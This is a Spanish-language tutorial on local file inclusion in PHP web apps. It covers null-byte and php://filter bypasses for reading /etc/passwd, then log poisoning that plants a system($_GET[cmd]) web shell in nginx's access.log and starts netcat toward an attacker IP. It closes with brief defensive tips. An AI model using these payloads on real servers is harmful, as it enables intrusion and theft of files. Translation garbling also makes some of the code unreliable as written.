La inclusión de archivos locales (LFI) es la capacidad de utilizar archivos del servidor local. La vulnerabilidad permite que un usuario remoto acceda a archivos arbitrarios en el servidor mediante una solicitud especialmente diseñada, que puede contener información confidencial. Hoy te contaremos cómo un atacante que usa esta falla puede ejecutar comandos en un servidor remoto.
Una vulnerabilidad similar ocurre cuando se usan funciones inseguras al implementar una aplicación web, por ejemplo, incluir , que le permite incluir contenido en una página desde un archivo local. En nuestro caso, se ve así:
Gracias a la línea include (“$ file”) , el valor del archivo de parámetros GET se incluirá en el contenido de la página . Ahora, usando esta vulnerabilidad, devolveremos los archivos locales que especificamos en el parámetro.
El artículo es solo para fines informativos. No infrinjas la ley.
Detección de vulnerabilidades
¿Cómo encontrar una vulnerabilidad? Si especifica en un parámetro potencialmente vulnerable para incluir algún archivo local, por ejemplo, índice con cualquier extensión, y este archivo se abrirá, entonces definitivamente podemos decir que el parámetro es responsable de intercambiar el archivo. Esto se puede hacer manualmente o utilizando varias herramientas automatizadas, por ejemplo, el escáner de vulnerabilidades de Wapiti , que se mencionó en uno de nuestros artículos , o una herramienta especializada LFISuite , que está diseñada específicamente para la búsqueda y explotación de vulnerabilidades de LFI.
¿Qué trampas puede haber? Por ejemplo, la presencia de un filtrado que sustituirá la extensión del archivo al final de la línea, por ejemplo, .php . Por lo tanto, cuando intentemos incluir el archivo / etc / passwd en la página, recibiremos file = / etc / passwd.php en la barra de direcciones , y el contenido de este archivo no se mostrará en la página, ya que el archivo no existe. Pero dicho filtro se puede omitir usando el llamado byte cero, que "cortará" todo lo que venga después. El hecho es que toda la barra de direcciones cuando se transmite una solicitud HTTP está codificada en codificación URL, y en esta codificación, el byte cero se ve como % 00 . Por lo tanto, la línea /etc/passwd%00.phpse convertirá a / etc / passwd . Sin embargo, debe tenerse en cuenta que este problema es bastante conocido y se ha solucionado en PHP 5.3+.
Otra opción para evitar el filtrado es utilizar el filtro php . En el parámetro responsable de incluir archivos, escribimos no solo la ruta al archivo que queremos incluir, sino la ruta al archivo que usa esta función. Ahora la solicitud que enviaremos se ve así:
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
Y ahora, en la página del navegador, no veremos el contenido del archivo, sino su fuente en codificación base64 , que se puede decodificar: hemos
resuelto los puntos principales de la vulnerabilidad LFI, y ahora entendemos que durante su explotación es posible leer un archivo local en un servidor remoto. Pero LFI tiene una característica interesante que le permite no solo leer archivos locales, sino también comprometer el servidor.
Envenenamiento del registro del servidor web
Creo que vale la pena mencionar de inmediato que la vulnerabilidad no es nueva, pero aún así ocurre y puede representar una seria amenaza para la seguridad de un servidor web. Al interactuar con una aplicación web, cualquiera de nuestras solicitudes se registra en los registros del servidor web, por regla general, estos son los archivos /var/log/nginx/access.log o /var/log/nginx/error.log si, por ejemplo, se utiliza un servidor web Nginx , pero los nombres de los archivos finales, por supuesto, pueden diferir.
Ahora, al hacer una solicitud especial, crearemos un shell web en el servidor, escribiéndolo en access.log . Para hacer esto, cambie el encabezado User-Agent agregando <? sistema php ($ _ GET [cmd]); ?> . Para enviar una solicitud, usaremos la herramienta Burp Suite , que le permite interceptar y editar solicitudes en tiempo real. ¿Por qué se utilizó User-Agent ? Como se mencionó anteriormente, la barra de direcciones codifica la información usando codificación URL, por lo tanto, para transferir el código php, debe usar encabezados, y dado que el User-Agent está escrito exactamente en el access.log , lo usaremos. El shell web está escrito y listo para usar: cuando acceda al registro de la aplicación web usando la vulnerabilidad LFI, se leerá su contenido y el script <? Php system ($ _ GET [cmd]); ?>
- ejecutar, que permitirá usar la variable " cmd " para ejecutar comandos en el servidor:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
A diferencia de LFI, donde leer el contenido de un archivo, debe especificar la ruta completa al mismo, en el segundo caso, los comandos arbitrarios se ejecutan en el servidor. Esto significa que además de leer los archivos del servidor, podemos acceder a él. Para ello, especifique el comando para lanzar Netcat en el parámetro cmd para comunicarse con el servidor del atacante, es decir, con nosotros:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
Recomendaciones
- comprobar periódicamente la seguridad de la aplicación web para evitar la aparición de vulnerabilidades;
- agregue la línea <? php exit (1) al registro del servidor web ; ?> . Este script evitará cualquier intento de ejecutar código php en este archivo (no es una buena idea, pero funciona, al menos hasta que rsyslog vuelva a crear el archivo de registro);
- use WAF, que bloqueará una solicitud maliciosa, evitando que se ejecute en el servidor web.